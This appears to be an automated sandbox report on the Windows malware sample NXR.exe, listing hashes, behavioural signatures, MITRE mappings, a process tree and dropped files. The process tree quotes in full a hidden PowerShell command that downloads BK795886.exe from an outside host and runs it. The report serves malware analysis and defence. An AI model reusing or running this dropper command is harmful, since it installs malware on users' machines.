37ea27ff8504886a3ad8f821a3f599537eb23b9e0ce149c814f7f750fb5f4a36

Analysis

max time kernel
29s
max time network
31s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
18/04/2026, 09:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
NXR.exe
Size 1005KB
Sample260418-k49mcaby71
SHA256 37ea27ff8504886a3ad8f821a3f599537eb23b9e0ce149c814f7f750fb5f4a36
MD5 5101858196ac79c05ada2a5eb0803eea
SHA1 f3c6ee2a53c4c40d95793c8b798f3af817673c2e
SHA512 fa7fff50107fa5ef6c1a8ef6639b272edb2902b4c78b6a7b843d976b0da7ae3ed69d8c33cb94978e79bc7227fe3282603156f74e1b6883dccff2a0317c7c4c97
SSDEEP 24576:ytwpZlO40HBweNZXnyOo60OegX7AoDliFjXm7K:ytUEwUlnF0ErvDliFjX
TLSH
T1B825BF49B2E905D9E673A57C8852A223DE327C0807B862CB73D745B95FAF6D00D77B02
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1384	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1384	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4772	BK795886.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1384	powershell.exe
1384	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1384	powershell.exe
Token: 33	3164	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	3164	AUDIODG.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3632 wrote to memory of 1180	3632	NXR.exe	81
PID 1180 wrote to memory of 4100	1180	cmd.exe	82
PID 3632 wrote to memory of 2292	3632	NXR.exe	84
PID 4100 wrote to memory of 1384	4100	cmd.exe	85
PID 1384 wrote to memory of 4772	1384	powershell.exe	87
PID 3632 wrote to memory of 4068	3632	NXR.exe	91

C:\Users\Admin\AppData\Local\Temp\NXR.exe
"C:\Users\Admin\AppData\Local\Temp\NXR.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK795886.exe; Start-Process -FilePath $env:TEMP\BK795886.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1180
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK795886.exe; Start-Process -FilePath $env:TEMP\BK795886.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4100
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK795886.exe; Start-Process -FilePath $env:TEMP\BK795886.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1384
    - - C:\Users\Admin\AppData\Local\Temp\BK795886.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BK795886.exe"
        5⤵
        Executes dropped EXE
        
        PID:4772
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:2292
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:4068

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004D8 0x00000000000004AC
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3164

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BK795886.exe

Path C:\Users\Admin\AppData\Local\Temp\BK795886.exe
Size 276KB
SHA256 2f660620d2b7277ef3180f8429e35afa7884f1945b73662aa1a38ec3258ea4c3
MD5 1fe91af4eedac6208e1e2a1046962771
SHA1 4340beb5b7a15e9d1d8b1548f98454de49f0f958
SHA512 54a3fd8f9001d0ad240ec541274130c57eb4bea9c4bacb799daeab0fc587a29aa081e473c974b0bc94c575dde5bba6e8a146d92803fb61e9d337d622358f5df2
SSDEEP 3072:/COlajPxi/CVpWD+Xc1q1pgpmegV1w6DHz6J1jab6UdJPU:/3a3Vpasc1qfQmbV1X6JOTdJP
TLSH
T1F4548369EF48AC5AD8F7A8FB3C012A3ED0D0546787F179E684C2097D5A0889F17F6D90
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_adptvmbw.s0x.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_adptvmbw.s0x.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1384-0-0x00000231574C0000-0x00000231574D0000-memory.dmp

Download

memory/1384-1-0x00000231574C0000-0x00000231574D0000-memory.dmp

Download

memory/1384-8-0x000002316FC30000-0x000002316FC52000-memory.dmp

Download

memory/1384-22-0x0000023155C40000-0x0000023155C9D000-memory.dmp

Download

memory/1384-24-0x000002316FAC0000-0x000002316FAD2000-memory.dmp

Download

memory/1384-23-0x00000231574B0000-0x00000231574BC000-memory.dmp

Download

memory/3632-27-0x0000028524B10000-0x0000028524B6D000-memory.dmp

Download

memory/3632-28-0x00000285265C0000-0x00000285265CC000-memory.dmp

Download

memory/3632-29-0x00000285266C0000-0x00000285266D2000-memory.dmp

Download